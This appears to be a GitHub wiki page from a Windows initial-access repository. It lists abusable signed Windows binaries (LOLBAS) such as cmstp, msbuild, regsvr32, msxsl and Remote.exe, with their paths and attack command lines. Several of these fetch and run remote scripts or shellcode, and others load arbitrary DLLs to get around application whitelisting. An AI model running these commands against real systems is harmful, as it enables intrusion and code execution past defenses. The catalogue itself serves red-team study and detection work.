LOLBAS - hegusung/Windows-Initial-Access GitHub Wiki

This section list some interesting entries of the LOLBAS website. Non exhaustive list

https://lolbas-project.github.io/

cmstp.exe

System:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Paths:

C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe

Remote:

cmstp.exe /ni /s c:\cmstp\CorpVPN.inf

Execution:

cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf

dfsvc.exe

System:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Paths:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe

Remote ClickOnce:

rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=fooExecution:

Installutil.exe

System:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Paths:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Execute .Net DLL or EXE:

InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

Microsoft.Workflow.Compiler.exe

System:

Windows 10S, Windows 11

Paths:

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe

Execute C# or VB.net:

Compile and execute C# or VB.net code in a XOML file referenced in the test.xml file.

Microsoft.Workflow.Compiler.exe tests.xml results.xml

Msbuild.exe

System:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Paths:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
C:\Program Files (x86)\MSBuild\14.0\bin\MSBuild.exe

Execute C#:

Build and execute a C# project stored in the target XML file.

msbuild.exe pshell.xml

Execute DLL:

Executes generated Logger DLL file with TargetLogger export

msbuild.exe /logger:TargetLogger,C:\Loggers\TargetLogger.dll;MyParameters,Foo

Execute JS/VBS:

Execute jscript/vbscript code through XML/XSL Transformation. Requires Visual Studio MSBuild v14.0+.

msbuild.exe project.proj

Msdt.exe

System:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Paths:

C:\Windows\System32\Msdt.exe
C:\Windows\SysWOW64\Msdt.exe

Execute MSI:

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE

Regasm.exe

System:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Paths:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\regasm.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regasm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe

Execute .Net DLL:

Loads the target .DLL file and executes the RegisterClass function.

regasm.exe AllTheThingsx64.dll

Loads the target .DLL file and executes the UnRegisterClass function.

regasm.exe /U AllTheThingsx64.dll

Regsvcs.exe

System:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Paths:

c:\Windows\Microsoft.NET\Framework\v*\regsvcs.exe
c:\Windows\Microsoft.NET\Framework64\v*\regsvcs.exe

Execute .Net DLL:

Loads the target .DLL file and executes the RegisterClass function.

regsvcs.exe AllTheThingsx64.dll

Regsvr32.exe

System:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Paths:

c:\Windows\Microsoft.NET\Framework\v*\regsvcs.exe
c:\Windows\Microsoft.NET\Framework64\v*\regsvcs.exe

Execute remote SCT script:

Execute the specified remote .SCT script with scrobj.dll.

regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll

Execute remote SCT script:

Execute the specified local .SCT script with scrobj.dll.

regsvr32.exe /s /u /i:file.sct scrobj.dll

AccCheckConsole.exe

System:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Paths:

C:\Program Files (x86)\Windows Kits\10\bin*\x86\AccChecker\AccCheckConsole.exe
C:\Program Files (x86)\Windows Kits\10\bin*\x64\AccChecker\AccCheckConsole.exe
C:\Program Files (x86)\Windows Kits\10\bin*\arm\AccChecker\AccCheckConsole.exe
C:\Program Files (x86)\Windows Kits\10\bin*\arm64\AccChecker\AccCheckConsole.exe

Execute DLL:

Load a managed DLL in the context of AccCheckConsole.exe. The -window switch value can be set to an arbitrary active window name.

AccCheckConsole.exe -window "Untitled - Notepad" C:\path\to\your\lolbas.dll

Dotnet.exe

System:

Windows 7 and up with .NET installed

Paths:

C:\Program Files\dotnet\dotnet.exe

Execute DLL:

Load a managed DLL in the context of AccCheckConsole.exe. The -window switch value can be set to an arbitrary active window name.

dotnet.exe [PATH_TO_DLL]

Execute CSProj

dotnet.exe msbuild [Path_TO_XML_CSPROJ]

msxsl.exe

System:

Windows

Paths:

No default

Execute XSL:

Load a managed DLL in the context of AccCheckConsole.exe. The -window switch value can be set to an arbitrary active window name.

msxsl.exe customers.xml script.xsl

Execute remote XSL:

msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

Download:

msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>

Remote.exe

System:

Windows

Paths:

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\remote.exe
C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\remote.exe

Execute EXE:

Spawns powershell as a child process of remote.exe

Remote.exe /s "powershell.exe" anythinghere

Execute remote EXE:

Run a remote file (WebDAV or SMB ?)

Remote.exe /s "\\10.10.10.30\binaries\file.exe" anythinghere

Tracker.exe

System:

Windows

Paths:

C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\tracker.exe

Execute DLL:

Tracker.exe /d .\calc.dll /c C:\Windows\write.exe

LOLBAS - hegusung/Windows-Initial-Access GitHub Wiki

cmstp.exe

System:

Paths:

Remote:

Execution:

dfsvc.exe

System:

Paths:

Remote ClickOnce:

Installutil.exe

System:

Paths:

Execute .Net DLL or EXE:

Microsoft.Workflow.Compiler.exe

System:

Paths:

Execute C# or VB.net:

Msbuild.exe

System:

Paths:

Execute C#:

Execute DLL:

Execute JS/VBS:

Msdt.exe

System:

Paths:

Execute MSI:

Regasm.exe

System:

Paths:

Execute .Net DLL:

Regsvcs.exe

System:

Paths:

Execute .Net DLL:

Regsvr32.exe

System:

Paths:

Execute remote SCT script:

Execute remote SCT script:

AccCheckConsole.exe

System:

Paths:

Execute DLL:

Dotnet.exe

System:

Paths:

Execute DLL:

Execute CSProj

msxsl.exe

System:

Paths:

Execute XSL:

Execute remote XSL:

Download:

Remote.exe

System:

Paths:

Execute EXE:

Execute remote EXE:

Tracker.exe

System:

Paths:

Execute DLL:

⚠️ **GitHub.com Fallback** ⚠️

⚠️ GitHub.com Fallback ⚠️